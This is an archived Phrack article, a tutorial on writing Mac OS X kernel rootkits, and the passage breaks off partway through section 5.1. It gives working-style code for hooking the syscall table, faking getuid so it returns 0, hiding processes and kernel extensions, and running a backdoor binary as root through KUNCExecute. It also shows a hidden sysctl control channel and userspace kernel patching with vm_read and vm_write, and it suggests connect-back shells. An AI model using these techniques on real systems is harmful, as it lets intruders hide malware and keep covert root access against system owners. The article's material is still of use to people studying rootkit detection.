💾 Archived View for aphrack.org › issues › phrack66 › 16.gmi captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
==Phrack Inc.==
Volume 0x0d, Issue 0x42, Phile #0x10 of 0x11
|=-----------------------------------------------------------------------=|
|=----------------=[ Developing Mac OSX kernel rootkits ]=--------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ By wowie <wowie@hack.se> & ]=--------------=|
|=---------------=[ ghalen@hack.se ]=--------------=|
|=---------------=[ ]=--------------=|
|=---------------=[ #hack.se ]=--------------=|
|=-----------------------------------------------------------------------=|
-[ Content
1 - Introduction
1.1 - Background
1.2 - Rootkit basics
1.3 - Syscall basics
1.4 - Userspace and kernelspace
2 - Introducing the XNU kernel
2.1 - OS X kernel rootkit history
2.2 - Finding the syscall entry table
2.3 - Opaque kernel structures
2.4 - The I/O Kit Framework
3 - Kernel development on Mac OS X
3.1 - Kernel version dependence
4 - Your first OS X kernel rootkit
4.1 - Replacement of a simple syscall
4.2 - Hiding processes
4.3 - Hiding files
4.4 - Hiding a kernel extension
4.5 - Running userspace programs from kernelspace
4.6 - Controlling your rootkit from userspace
5 - Runtime kernel patching using the Mach APIs
5.1 - System call hijacking
5.2 - Direct Kernel Object Manipulation
6 - Detection
6.1 - Detecting hooked system calls on Mac OS X
7 - Summary
8 - References
9 - Code
--[ 1 - Introduction
-[ 1.1 - Background
Rootkits for different operating systems have been around for many years.
Linux, Windows, and the different *BSD-flavors have all had their fair
share of rootkits. Kernel rootkits are just a continuation of the standard
file-swapping rootkits of days past. The dawn of tools like Osiris and
Tripwire forced coders seeking to subvert the operating system to take
refuge in kernelspace.
The basic idea of a rootkit is to change the behavior and output of
standard commands and tools to hide the presence of backdoors, sniffers
and other types of malicious code. And just as within other parts of the
security industry it is a continuing arms race between those who seek to
subvert the kernel and those who seek to protect it.
In this article we will describe the basics of runtime kernel patching and
kernel rootkits for the Mac OS X operating system and how to develop your
own. It is intended as an entry level tutorial for beginners and as well
as guide for those interested in adapting existing kernel rootkits from
other operating systems to Mac OS X. Apple supports two CPU architectures
for the Mac OS X operating system: Intel and PowerPC. We believe that this
guide is architecture neutral and that most of the source code is
compatible with both architectures.
-[ 1.2 - Rootkit basics
The purpose of a rootkit is to hide the presence of an intruder and his
tools. In order to do this the most common features of a kernel rootkit is
the ability to hide files, processes and network sockets. More advanced
rootkits sometimes provide backdoors and keyboard sniffers.
When a program such as '/bin/ls' is run to lists the files and folders of
a directory it calls a function in the kernel called a syscall. The
syscall is invoked from userland and transfers control from the userland
process to the kernelspace function getdirentries(). The getdirentries()
function returns a list of files for the specified directory to the
userland process that in return displays the list to the user.
In order to hide the presence of a specific file the data returned from
the getdirentires() syscall needs to be modified and the entry for the
file deleted before returning the data to the user. This can be
accomplished in a number of different ways; one way is to modify the
filesystem processing layer (VFS) and another is to directly modify the
getdirentires() function. In this brief introduction we will take the
easy route and modify the getdirentries() function.
-[ 1.3 - Syscall basics
When a userland process needs to call a kernel function it invokes a
syscall. A syscall is an API function that provides access to services
provided by the kernel such as reading or writing to files, listing files
in directories or opening and closing network sockets. Each syscall has a
number, and all syscalls are invoked referencing this syscall number.
When a userland process wants to invoke a kernel function it is almost
always done through a wrapper function in the libc-library that in turn
generates a software interrupt that transfers control from the userland
process in to the kernel. The kernel stores a list of all available
syscall functions in a table called the sysentry table, each entry has a
function pointer to the location of the function for that syscall number.
The kernel looks up the syscall that the userland process wants to call in
the syscall entry table and invokes that function to handle the request.
A list of the available syscalls as well as their numbers can be found in
/usr/include/sys/syscall.h. For example, syscalls of interest to a rootkit
wanting to hide files are:
196 - SYS_getdirentries
222 - SYS_getdirentriesattr
344 - SYS_getdirentries64
Each of these entries in the table points to the function in the kernel
responsible for returning a list of files. SYS_getdirentries is an older
version of the function, SYS_getdirentriesattr is a similar version of
with support for OS X specific attributes. SYS_getdirentries64 is a newer
version that supports longer filenames. SYS_getdirentries is used by for
example bash, SYS_getdirentries64 is used by the ls command and
SYS_getdirentriesattr is used by pure OS X-integrated applications like
the Finder. Each of these functions needs to be replaced in order to
provide a seamless 'experience' for the end-user.
In order to modify the output of the function a wrapper function needs to
be created that can replace the original function. The wrapper function
will first call the original function, search the output and do the
required censoring before returning the sanitized data to the userland
process.
-[ 1.4 - Userspace and Kernelspace
The kernel runs in a separate memory space that is private to the kernel
in the same way as each user process has it's own private memory. This
means that is is not possible to just read and write freely memory from
the kernel. Whenever the kernel needs to modify memory in user-space, for
instance copy data to or from userspace, specific routines and protocols
needs to followed. A number of help functions are provided for this
specific task, most notably copyin(9) and copyout(9). More information
about these functions can be found in the manpages for copy(9) and
store(9).
--[ 2 - Introducing the XNU kernel
XNU, the Mac OS X kernel and it's core is based on the Mach micro kernel
and FreeBSD 5. The Mach layer is responsible for kernel threads,
processes, pre-emptive multitasking, message-passing, virtual memory
management and console i/o. Above the Mach layer is the BSD layer that
supplies the POSIX API, networking and filesystems amongst other things.
The XNU kernel also has an object oriented device driver framework known
as the I/O Kit. This mashup of different technologies provide several
different ways to accomplish the same task; to modify the running kernel.
Another interesting choice in the design of the XNU kernel is that both
the kernel- and userland has their own 4gb address space.
-[ 2.1 - OS X kernel rootkit history
One of the first publicly released Mac OS X kernel rootkits were WeaponX
[9] which is developed by nemo [5] and was released in November 2004. It
is based on the same kernel extension (loadable kernel module) technique
that most kernel rootkits use and provides the expected basic
functionality of a kernel rootkit. WeaponX [9] does however not work on
newer versions of the Mac OS X operating system due to major kernel
changes.
In the latest few releases of Mac OS X Apple has done a couple things
hardening the kernel and making it more difficult to subvert. Of
particular interest is the fact that it no longer exports the sysentry
table and that several of the key kernel structures are opaque and hidden
from kernel developers.
-[ 2.2 - Finding the syscall entry table
As of OS X version 10.4 the sysentry table is no longer an exported symbol
from the kernel. This means that the compiler will not be able to
automatically identify the position in memory where the sysentry table is
stored. This can either be solved by searching the memory for an
appropriate looking table or using something else as a reference. Landon
Fuller identified that the exported symbol nsysent (the number of entries
in the sysentry table) is stored in close proximity to the sysentry table.
He also wrote a small routine that finds the sysentry table and returns a
pointer to it that can be used to manipulate the table as one see fit [1].
The sysent structure is defined like this:
struct sysent {
int16_t sy_narg; /* number of arguments */
int8_t reserved; /* unused value */
int8_t sy_flags; /* call flags */
sy_call_t *sy_call; /* implementing function */
sy_munge_t *sy_arg_munge32;/* munge system call arguments for
32-bit processes */
sy_munge_t *sy_arg_munge64;/* munge system call arguments for
64-bit processes */
int32_t sy_return_type; /* return type */
uint16_t sy_arg_bytes; /* The size of all arguments for
32-bit system calls, in bytes */
} *_sysent;
The most interesting part of the structure is the "sy_call" pointer, which
is a pointer to the actual syscall handler function. Thats the function we
want our rootkit to hook. Hooking the function is as easy as changing the
value of the pointer to point at our own function somewhere in memory.
-[ 2.3 - Opaque kernel structures
With OS X version 10.4 Apple also changed the kernel structure in order to
provide a more stable kernel API. This was done to ensure that kernel
extensions doesn't break when internal kernel structures change. This
involves hiding large parts of the internal structures behind API:s and
only exporting chosen parts of the structures to developers.
A good example of this is the process structure called "proc". Which is
available from both userland and kernelland. The userland version is
defined in /usr/include/sys/proc.h and looks like this:
struct extern_proc {
union {
struct {
struct proc *__p_forw; /* Doubly-linked run/sleep queue. */
struct proc *__p_back;
} p_st1;
struct timeval __p_starttime; /* process start time */
} p_un;
#define p_forw p_un.p_st1.__p_forw
#define p_back p_un.p_st1.__p_back
#define p_starttime p_un.__p_starttime
struct vmspace *p_vmspace; /* Address space. */
struct sigacts *p_sigacts; /* Signal actions, state (PROC ONLY). */
int p_flag; /* P_* flags. */
char p_stat; /* S* process status. */
pid_t p_pid; /* Process identifier. */
pid_t p_oppid; /* Save parent pid during ptrace. XXX */
int p_dupfd; /* Sideways return value from fdopen. XXX */
/* Mach related */
caddr_t user_stack; /* where user stack was allocated */
void *exit_thread; /* XXX Which thread is exiting? */
int p_debugger; /* allow to debug */
boolean_t sigwait; /* indication to suspend */
/* scheduling */
u_int p_estcpu; /* Time averaged value of p_cpticks. */
int p_cpticks; /* Ticks of cpu time. */
fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */
void *p_wchan; /* Sleep address. */
char *p_wmesg; /* Reason for sleep. */
u_int p_swtime; /* Time swapped in or out. */
u_int p_slptime; /* Time since last blocked. */
struct itimerval p_realtimer; /* Alarm timer. */
struct timeval p_rtime; /* Real time. */
u_quad_t p_uticks; /* Statclock hits in user mode. */
u_quad_t p_sticks; /* Statclock hits in system mode. */
u_quad_t p_iticks; /* Statclock hits processing intr. */
int p_traceflag; /* Kernel trace points. */
struct vnode *p_tracep; /* Trace to vnode. */
int p_siglist; /* DEPRECATED */
struct vnode *p_textvp; /* Vnode of executable. */
int p_holdcnt; /* If non-zero, don't swap. */
sigset_t p_sigmask; /* DEPRECATED. */
sigset_t p_sigignore; /* Signals being ignored. */
sigset_t p_sigcatch; /* Signals being caught by user. */
u_char p_priority; /* Process priority. */
u_char p_usrpri; /* User-priority based on p_cpu and p_nice. */
char p_nice; /* Process "nice" value. */
char p_comm[MAXCOMLEN+1];
struct pgrp *p_pgrp; /* Pointer to process group. */
struct user *p_addr; /* Kernel virtual addr of u-area (PROC ONLY). */
u_short p_xstat; /* Exit status for wait; also stop signal. */
u_short p_acflag; /* Accounting flags. */
struct rusage *p_ru; /* Exit information. XXX */
};
The internal definition in the kernel is available from the xnu source in
the file xnu-xxx/bsd/sys/proc_internal.h and contains a lot more info than
it's userland counterpart. If we take a look at the userland version of
the proc structure from Mac OS X 10.3, with Darwin 7.0, and compares it to
the structure above we can spot the differences right away (some comments
and whitespace is removed to save space and make it more readable)
struct proc {
LIST_ENTRY(proc) p_list; /* List of all processes. */
struct pcred *p_cred; /* Process owner's identity. */
struct filedesc *p_fd; /* Ptr to open files structure. */
struct pstats *p_stats; /* Accounting/statistics (PROC ONLY). */
struct plimit *p_limit; /* Process limits. */
struct sigacts *p_sigacts; /* Signal actions, state (PROC ONLY). */
#define p_ucred p_cred->pc_ucred
#define p_rlimit p_limit->pl_rlimit
int p_flag; /* P_* flags. */
char p_stat; /* S* process status. */
char p_pad1[3];
pid_t p_pid; /* Process identifier. */
LIST_ENTRY(proc) p_pglist; /* List of processes in pgrp. */
struct proc *p_pptr; /* Pointer to parent process. */
LIST_ENTRY(proc) p_sibling; /* List of sibling processes. */
LIST_HEAD(, proc) p_children; /* Pointer to list of children. */
#define p_startzero p_oppid
pid_t p_oppid; /* Save parent pid during ptrace. XXX */
int p_dupfd; /* Sideways return value from fdopen. XXX */
u_int p_estcpu; /* Time averaged value of p_cpticks. */
int p_cpticks; /* Ticks of cpu time. */
fixpt_t p_pctcpu; /* %cpu for this process during p_swtime */
void *p_wchan; /* Sleep address. */
char *p_wmesg; /* Reason for sleep. */
u_int p_swtime; /* DEPRECATED (Time swapped in or out.) */
#define p_argslen p_swtime /* Length of process arguments. */
u_int p_slptime; /* Time since last blocked. */
struct itimerval p_realtimer; /* Alarm timer. */
struct timeval p_rtime; /* Real time. */
u_quad_t p_uticks; /* Statclock hits in user mode. */
u_quad_t p_sticks; /* Statclock hits in system mode. */
u_quad_t p_iticks; /* Statclock hits processing intr. */
int p_traceflag; /* Kernel trace points. */
struct vnode *p_tracep; /* Trace to vnode. */
sigset_t p_siglist; /* DEPRECATED. */
struct vnode *p_textvp; /* Vnode of executable. */
#define p_endzero p_hash.le_next
LIST_ENTRY(proc) p_hash; /* Hash chain. */
TAILQ_HEAD( ,eventqelt) p_evlist;
#define p_startcopy p_sigmask
sigset_t p_sigmask; /* DEPRECATED */
sigset_t p_sigignore; /* Signals being ignored. */
sigset_t p_sigcatch; /* Signals being caught by user. */
u_char p_priority; /* Process priority. */
u_char p_usrpri; /* User-priority based on p_cpu and p_nice. */
char p_nice; /* Process "nice" value. */
char p_comm[MAXCOMLEN+1];
struct pgrp *p_pgrp; /* Pointer to process group. */
#define p_endcopy p_xstat
u_short p_xstat; /* Exit status for wait; also stop signal. */
u_short p_acflag; /* Accounting flags. */
struct rusage *p_ru; /* Exit information. XXX */
int p_debugger; /* 1: can exec set-bit programs if suser */
void *task; /* corresponding task */
void *sigwait_thread; /* 'thread' holding sigwait */
struct lock__bsd__ signal_lock; /* multilple thread prot for signals*/
boolean_t sigwait; /* indication to suspend */
void *exit_thread; /* Which thread is exiting? */
caddr_t user_stack; /* where user stack was allocated */
void * exitarg; /* exit arg for proc terminate */
void * vm_shm; /* for sysV shared memory */
int p_argc; /* saved argc for sysctl_procargs() */
int p_vforkcnt; /* number of outstanding vforks */
void * p_vforkact; /* activation running this vfork proc */
TAILQ_HEAD( , uthread) p_uthlist; /* List of uthreads */
pid_t si_pid;
u_short si_status;
u_short si_code;
uid_t si_uid;
TAILQ_HEAD( , aio_workq_entry ) aio_activeq;
int aio_active_count; /* entries on aio_activeq */
TAILQ_HEAD( , aio_workq_entry ) aio_doneq;
int aio_done_count; /* entries on aio_doneq */
struct klist p_klist; /* knote list */
struct auditinfo *p_au; /* User auditing data */
#if DIAGNOSTIC
#if SIGNAL_DEBUG
unsigned int lockpc[8];
unsigned int unlockpc[8];
#endif /* SIGNAL_DEBUG */
#endif /* DIAGNOSTIC */
};
As you can seen, Apple has redone this structure quite a bit and removed
a lot of stuff, most of the changes where introduced between version 10.3
and 10.4 of Mac OS X. One of the changes to the structure is the removal
of the p_ucred pointer, which is a pointer to a structure that contains
the user credentials of the current process.
This effectively breaks nemos [5] technique of setting a process user-id
and group-id to zero, which he does like this:
void uid0(struct proc *p) {
register struct pcred *pc = p->p_cred;
pcred_writelock(p);
(void)chgproccnt(pc->p_ruid, -1);
(void)chgproccnt(0, 1);
pc->pc_ucred = crcopy(pc->pc_ucred);
pc->pc_ucred->cr_uid = 0;
pc->p_ruid = 0;
pc->p_svuid = 0;
pcred_unlock(p);
set_security_token(p);
p->p_flag |= P_SUGID;
return;
}
For a rootkit developer that wants to modify specific kernel structures
this is somewhat of a problem, both the fact that the kernel structures
are neither exported or well documented and the fact that they might
rapidly change between kernel versions. Fortunately the kernel source is
now open source and can be freely downloaded from Apple. This makes it
possible to extract the needed kernel structures from the source.
-[ 2.4 - The I/O Kit Framework
Mac OS X contains a complete framework of libraries, tools and various
other resources for creating device drivers. This framework is called the
I/O Kit. The I/O Kit framework provides an abstract view of the hardware
to the upper layers of Mac OS X, which simplifies device driver
development and thus makes it's less time consuming. The entire framework
is object-oriented and implemented using a somewhat cut down version C++
to promote increased code reuse.
Since this framework operates in kernelspace and can interact with actual
hardware, it's ideal for writing keylogging software. A good example of
abusing the I/O Kit framework for just that purpose is the keylogger
called "logKext", [10] written by drspringfield, which utilizes the I/O
Kit framework to log a users keystrokes. This is just one of many uses of
this framework in rootkit development. Feel free to explore and come up
with your own creative ways of subverting the Mac OS X kernel using the
I/O Kit framework.
--[ 3 - Kernel development on Mac OS X
As Mac OS X is somewhat of a hybrid between a number of different
technologies runtime modification of the operating system can be done in
several ways. One of the easiest methods is to load the 'improved'
functionality as a kernel driver. Drivers can be loaded either as kernel
extensions for the BSD sub-layer or as Object Oriented I/O Kit drivers.
For the purpose of this first exercise only ordinary BSD kernel extensions
will be utilized due to their simplicity and ease of development.
The easiest way to write a kernel extension for Mac OS X is to use the
XCode-templates for 'Generic Kernel Extension'. Open Xcode, Select 'New
Project' in the File-menu. From the list of available templates choose
'Generic Kernel Extension' under 'Kernel Extension'. Give the project a
suitable name, such as 'rootkit 0.1' and click 'Finish'. This creates a
new Xcode project for your new kernel rootkit.
The newly automatically created .c-file contains the entry and exit points
for the kernel extension:
kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) {
return KERN_SUCCESS;
}
kern_return_t rootkit_0_1_stop (kmod_info_t * ki, void * d) {
return KERN_SUCCESS;
}
rootkit_0_1_start() will be invoked when the kernel extension is loaded
using /sbin/kextload and rootkit_0_1_stop() will be invoked when the
kernel extension is unloaded using /sbin/kextunload.
Loading and unloading of kernel extensions require root privileges, and
the code in these functions will be executed in kernelspace with full
control of the entire operating system. It is therefore of the utmost
importance that any code executed takes makes sure not to make a mess of
everything and thereby crashes the entire operating system. To quote the
Apple 'Kernel Program Guide': "Kernel programming is a black art that
should be avoided if at all possible" [4].
Any changes made to the kernel in the start()-function must be undone in
the stop-function(). Functions, variables and other types of loadable
objects will be deallocated when the module is unloaded and any future
reference to them will cause the operating system to misbehave or in worst
case crash.
Building your project is as easy as clicking the 'build button'. The
compiled kernel extension can be found in the build/Relase/-directory and
is named 'rootkit 0.1.kext'. /sbin/kextload refuses to load kernel
extensions unless they are owned by the root user and belongs to the wheel
group. This can easily be fixed by chown:ing the files accordingly.
Fledging kernel hackers that dislikes the Xcode GUI:s will be please to
known that the project can be build just as easily from the command line
using the 'xcodebuild' command.
Apple provides the XCode IDE and the gcc compiler on the Mac OS X DVD, if
needed the latest version can also be downloaded from [2] after
registration. The source code for the XNU kernel can also be downloaded
from [3]. It is recommended that you keep a copy of the kernel sourcecode
at hand as reference during development.
One of the great advantages of using the kernel extension API is that the
kextload command takes care of everything from linking to loading. This
means that the entire rootkit can be written in C, making it almost
trivially easy. Another great advantage of C-development is portability
which is an important issue considering that Mac OS X is available for two
different CPU architectures.
-[ 3.1 - Kernel version dependence
As Landon Fuller notes in research access to the nsysent variable needed
to find the sysentry-table is restricted unless the kext is compiled for a
specific kernel release. This is due to the simple fact that the address
of this variable is likely to change between kernel releases. Kernel
dependence for kernel extensions is configured in the Info.plist file
included in the XCode-project. The 'com.apple.kernel'-key needs to be
added to OSBundleLibraries with the version set to the Kernel release as
indicated by the 'uname -r' command:
<key>OSBundleLibraries</key>
<dict>
<key>com.apple.kernel</key>
<string>9.6.0</string>
</dict>
This ties the compiled kernel extension specifically to version 9.6.0 of
the Kernel. A recompile of the kernel extension is needed for each minor
and major release. The kernel extension will refuse to load in any other
version of the Mac OS X kernel, in many cases that might be considered a
good thing.
--[ 4 - Your first OS X kernel rootkit
-[ 4.1 - Replacement of a simple syscall
To start of the whole kernel subversion business we'll take a quick
example of replacing the getuid() function. This function returns the
current user ID and in this example it will be replaced it with a function
that always returns uid zero (root). This will not automatically give all
users root access, only the illusion of having root access. Fun but
innocent :)
int new_getuid()
{
return(0);
}
kern_return_t rootkit_0_1_start (kmod_info_t * ki, void * d) {
struct sysent *sysent = find_sysent();
sysent[SYS_getuid].sy_call = (void *) new_getuid;
return KERN_SUCCESS;
}
This simple code-snippet first defines a new getuid()-function that always
returns 0 (root). The new function will be loaded in kernel memory by the
kextload-function. When the start()-function runs it will replace the
original getuid() syscall with the new and 'improved' version. Returning
KERN_SUCCESS indicates to the operating system that everything went as
planed and that the insertion of the kernel extension was successful.
A complete version can be found in the code section of this paper;
including the unloading function that might prove useful once the initial
thrill is over.
-[ 4.2 - Hiding processes
The '/bin/ps' command, 'top' and the Activity Monitor all list running
processes using the sysctl(3) syscall. sysctl(2) is a general purpose
multifunction API used to communicate with a multitude of different
functions in the kernel. sysctl(2) is used both to list running processes
as well open network sockets. In order to intercept and modify the running
process list the entire sysctl syscall needs to be intercepted and the
commands parsed in order to identify calls to the CTL_KERN->KERN_PROC
command used to list current running processes.
The sysctl(2) syscall is intercepted using the exactly same method as
getuid(), but one of the major differences is that special attention needs
to be taken with regards to the arguments. In order to support both big
and little endian systems Apple uses padding macros named PADL and PADR
that makes the argument struct look very exotic. The easiest way to get it
right is to copy the entire struct definition from the XNU kernel source
in order to avoid confusion with the padding.
sysctl(2) takes its function commands in the form of a char-array called
'name'. The commands are hierarchical and most commands have several
subcommands that in turn can have subcommands or arguments. The sysctl(2)
commands and their respective subcommands can be found in
'/usr/include/sys/sysctl.h'.
The CTL_KERN->KERN_PROC command to sysctl copies a list of all running
processes to a user provided buffer. From the perspective of the rootkit
this presents a problem since we want to modify the data before it is
returned to the user but since the syscall writes the data directly to the
user provided buffer this is problematic. Fortunately we are in position
to manipulate the data in the user buffer prior returning control to the
user software. This requires copying the data from userspace into a
kernelspace buffer, doing the required modification and then copying the
data back into userspace.
First memory needed to store the copy of the data needs to be allocated
using the MALLOC-macro, then the data needs to be copied from userspace
using the copyin(9)-function. The copyin(9) function copies data from
userspace to kernelspace. Then the data needs to be processed and selected
entries removed. The actual process of deleting an entry is done by
overwriting it with the rest of the data in the buffer. This requires
doing an overlapping memory copy, this functionality is provided by the
bcopy(3) function. Once an entry has been removed the counter for the
total size of the buffer needs to be decreased and the data can finally be
returned, or rather copied, to userspace.
/* Search for process to remove */
for (i = 0; i < nprocs; i++)
if(plist[i].kp_proc.p_pid == 11) /* hardcoded PID */
{
/* If there is more then one entry left in the list
* overwrite this entry with the rest of the buffer */
if((i+1) < nprocs)
bcopy(&plist[i+1],&plist[i],(nprocs - (i + 1)) * sizeof(struct kinfo_proc));
/* Decrease size */
oldlen -= sizeof(struct kinfo_proc);
nprocs--;
}
The modified data is then copied back to the userspace buffer using the
copyout(9) function. In this case two different functions are used to copy
data to userspace. The suulong(9) function is used to copy only small
amounts of data to userspace while copyout(9) is used to copy the actual
data buffer.
/* Copy back the length to userspace */
suulong(uap->oldlenp,oldlen);
/* Copy the data back to userspace */
copyout(mem,uap->old, oldlen);
The data trailing the last entry will, if the data was modified, contain
an extra copy of the last entry in the buffer, something that might be
used to detect that the buffer has been modified. To avoid this the
trailing data can be zero:ed. A more sophisticated rootkit might want to
store a copy of the original buffer prior to the call to the real syscall
and use that data to pad the remaining buffer space.
A reference implementation of a processes hiding kernel extension can be
found in the code section of this paper.
-[ 4.3 - Hiding files
As noted earlier, three different syscalls are of interest when hiding
files, SYS_getdirentries, SYS_getdirentriesattr and SYS_getdirentries64.
All of these syscalls share the sysctl(2) approach in that the calling
application provides a buffer that the syscall will fill with appropriate
data and return a counter indicating how much data was written. Due to the
variable size of each record pointer arithmetics is required when parsing
the data. All in all it is a complicated procedure and any mishaps is
likely to cause a kernel crash. It is also important to patch all three
syscalls of the getdirent-syscall in order to maintain the illusion that
the malicious files have disappeared.
The process is very similar to hiding a process; the original function is
invoked, the data copied from userspace to kernelspace, modified as needed
and then copied back.
A reference implementation of a file hiding kernel extension can be found
in the code section of this paper.
-[ 4.4 - Hiding a kernel extension
Kernel modules can be listed with the command 'kextstat'. If the rogue
rootkit kernel extension can be easily identified using the kextstat
commands it sort of voids the purpose of the rootkit. nemo [5] identified
a simple and elegant way to hide the presence of a kernel module for the
WeaponX [9] kernel rootkit.
extern kmod_info_t *kmod;
void activate_cloaking()
{
kmod_info_t *k;
k = kmod;
kmod = k->next;
}
This short snippet of code finds the linked list containing the loaded
modules and simply delinks the last loaded module from that list. Since
the kextstat utility will walk this list when presenting the information
on loaded kernel extensions the newly loaded rootkit will disappear from
that list. For the same reason the kextunload utility will also fail to
unload the module from the kernel, which actually can be quite annoying.
-[ 4.5 - Running userspace programs from kernelspace
On Mac OS X there exists a special API called KUNC (Kernel-User
Notification Center) [6]. This API is used when the kernel (i.e. a KEXT)
might need to display a notification to the user or run commands in
userspace.
The KUNC function used to execute commands in userspace is KUNCExecute().
This function is quite handy in rootkit development, since we may execute
any command we want as root from kernelspace. The function definition
looks like this.
(Taken from xnu-xxx/osfmk/UserNotification/KUNCUserNotifications.h)
#define kOpenApplicationPath 0
#define kOpenPreferencePanel 1
#define kOpenApplication 2
#define kOpenAppAsRoot 0
#define kOpenAppAsConsoleUser 1
kern_ret_t
KUNCExecute(char *executionPath, int openAsUser, int pathExecutionType);
The "executionPath" is the file-system path to the application or
executable to execute. The "openAsUser" flag can either be
"kOpenAppAsConsoleUser", to execute the application as the logged-in user
or "kOpenAppAsRoot", to run the application as root. The
"pathExecutionType" flag specifies the type of application to execute, and
can be one of the following.
kOpenApplicationPath - The absolute file-system path to a executable.
kOpenPreferencePanel - The name of a preference pane in
/System/Library/PreferencePanes.
kOpenApplication - The name of a application in the "/Applications" folder.
To execute the binary "/var/tmp/mybackdoor" we simply do like this:
KUNCExecute("/var/tmp/mybackdoor", kOpenAppAsRoot, kOpenApplicationPath);
This function is especially useful in combination with some sort of
trigger, like a hooked tcp-handler that executes the function and spawns a
connect-back shell to the source-ip of a magic trigger-packet. The
interesting parts of the network layer is actually exported and can be
easily modified.
Or if you prefer a local privilege escalation backdoor, why not hook
SYS_open and execute the specified file with KUNCExecute if you supply a
magic flag? The possibilities are endless.
-[ 4.6 - Controlling your rootkit from userspace
Once the appropriate syscalls and kernel functions has been replaced with
rogue versions capable of hiding files, network sockets and processes each
of these needs to know what to hide.
A popular way to trigger process hiding is to hook SYS_kill and send a
special signal (31337 perhaps?) to the process to hide. This is easy and
requires no special tools of any kind. If the processes hiding is
performed by setting special flags on the process this flag can be
inherited for fork() and exec() and thereby hide an entire process-tree.
Hiding files and sockets is trickier since we have no easy way to indicate
to the kernel that we want them hidden. The creation of a new syscall is
an easy way, or to piggy-back on one of the hooked ones and have a special
magic argument to trigger the communication code. This does however
require special tools in userspace capable of calling the right syscall
with the correct arguments. These tools can be identified and searched for
even if the rootkit tries to hide them in the filesystem they are always
vulnerable to offline analysis.
An easy way to create a communication channel that doesn't require special
tools or an entry in the /dev/-directory is to use sysctl. In the Mac OS X
kernel drivers can register their own variables and have them changed
using the /usr/sbin/sysctl-tool which is available by default on all
systems.
Registering a new sysctl can be easily done using the normal kext
procedures. The source for the example below can be found in reference 7.
/* global variable where argument for our sysctl is stored */
int sysctl_arg = 0;
static int sysctl_hideproc SYSCTL_HANDLER_ARGS
{
int error;
error = sysctl_handle_int(oidp, oidp->oid_arg1,oidp->oid_arg2, req);
if (!error && req->newptr)
{
if(arg2 == 0)
printf("Hide process %d\n",sysctl_arg);
else
printf("Unhide process %d\n",sysctl_arg);
}
/* We return failure so that we dont show up in "sysclt -A"-listings. */
return KERN_FAILURE;
}
/* Create our sysctl:s */
SYSCTL_PROC(_hw, OID_AUTO, hideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR,
&sysctl_arg, 0, &sysctl_hideproc , "I", "Hide a process");
SYSCTL_PROC(_hw, OID_AUTO, unhideprocess,CTLTYPE_INT|CTLFLAG_ANYBODY|CTLFLAG_WR,
&sysctl_arg, 1, &sysctl_hideproc , "I", "Unhide a process");
kern_return_t kext_start (kmod_info_t * ki, void * d) {
/* Register our sysctl */
sysctl_register_oid(&sysctl__hw_hideprocess);
sysctl_register_oid(&sysctl__hw_unhideprocess);
return KERN_SUCCESS;
}
This code registers two new sysctl variables, hw.hideprocess and
hw.unhideprocess. When written to using sysctl -w hw.hideprocess=99 the
function sysctl_hideproc() is invoked and can be used to add the selected
PID to the list of processes to hide. A sysctl for hiding files is
slightly different since it takes a string as argument instead of an
integer but the overall procedure is the same. The major reason to use
sysctl is that it support dynamic registration of variable and the
required tool sysctl is provided by the operating system.
The -A flag for sysctl is avoided by returning KERN_FAILURE whenever the
function is called, this causes the newly created variables to be omitted
from the listing.
There is also a number of other ways of communicating with the kernel and
controlling your rootkit. For example you can use the Mach API for IPC or
using kernel control sockets, both has their pros and cons.
--[ 5 - Runtime kernel patching using the Mach APIs
Instead of using a rogue kernel module (kext) to hijack syscalls the Mach
API's can be used for runtime kernel patching. This is nothing new to the
rootkit community, and has previously been used in rootkits such as SucKIT
by sd [7] and phalanx by rebel [8], two very impressive rootkits for
Linux.
To access kernel memory on Linux both SucKIT and phalanx uses /dev/kmem
(and later /dev/mem). /dev/kmem and /dev/mem has been removed from Mac OS
X as of version 10.4. The Mach-subsystem does however provide a very
useful set of memory manipulation functions. The functions of interest for
a rootkit developer are vm_read(), vm_write() and vm_allocate(). These
functions allows arbitrary read and write access to the entire kernel from
userspace as well as allowing allocation of kernel memory. The only
requirement is root access.
The vm_allocate() function in particular is of great value. A common
technique used on other operating systems to allocate kernel memory is to
replace a system call handler with the kmalloc() function, and then
execute the syscall. This way an attacker is able to allocate memory in
kernelspace needed to store the wrapper functions. The big downside of
this approach is the race condition introduced in case some other userland
process calls the same syscall. But since the friendly Apple kernel
developers provided the vm_allocate() function this isn't necessary on Mac
OS X.
-[ 5.1 - System call hijacking
The vm_read() and vm_write() functions can be used as great tools for
syscall hijacking. First off the address of the sysentry table needs to be
located. The process identified by Landon Fuller [1] works just as good
from userspace as it does from kernelspace. The sysentry table contains
pointers to all the syscall handler functions we want to hijack.
To read the address to the handler function for a syscall, i.e. SYS_kill,
we can use the vm_read() function, and passing it the address of the
sy_call variable of SYS_kill.
mach_port_t port;
pointer_t buf; /* pointer to your result */
unsigned int r_addr = (unsigned int)&_sysent[SYS_kill].sy_call; /* address to sy_call */
unsigned int len = 4; /* number of bytes to read */
unsigned int sys_kill_addr = 0; /* final destination */
/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
fprintf(stderr, "failed to get port\n");
exit(EXIT_FAILURE);
}
/* read len bytes from r_addr, return pointer to the data in &buf */
if (vm_read(port, (vm_address_t)r_addr, (vm_size_t)len, &buf, &sz) != KERN_SUCCESS) {
fprintf(stderr, "could not read memory\n");
exit(EXIT_FAILURE);
}
/* do proper typecast */
sys_kill_addr = *(unsigned int*)buf;
The address to the SYS_kill handler is now available in the sys_kill_addr
variable. Replacing a syscall handler is as simple as writing a new value
to the same location using the vm_write() function. In the example below
we replace the SYS_setuid system call handler with the handler for
SYS_exit, which will result in the termination of any program that calls
SYS_setuid.
SYSENT *_sysent = get_sysent_from_mem();
mach_port_t port;
pointer_t buf;
unsigned int r_addr = (unsigned int)&_sysent[SYS_exit].sy_call; /* address to sy_call */
unsigned int len = 4; /* number of bytes to read */
unsigned int sys_exit_addr = 0; /* final destination */
unsigned int sz, addr;
/* get a port to pid 0, the mach kernel */
if (task_for_pid(mach_task_self(), 0, &port)) {
fprintf(stderr, "failed to get port\n");
exit(EXIT_FAILURE);
}
/* read len bytes from r_addr, return pointer to the data in &buf */
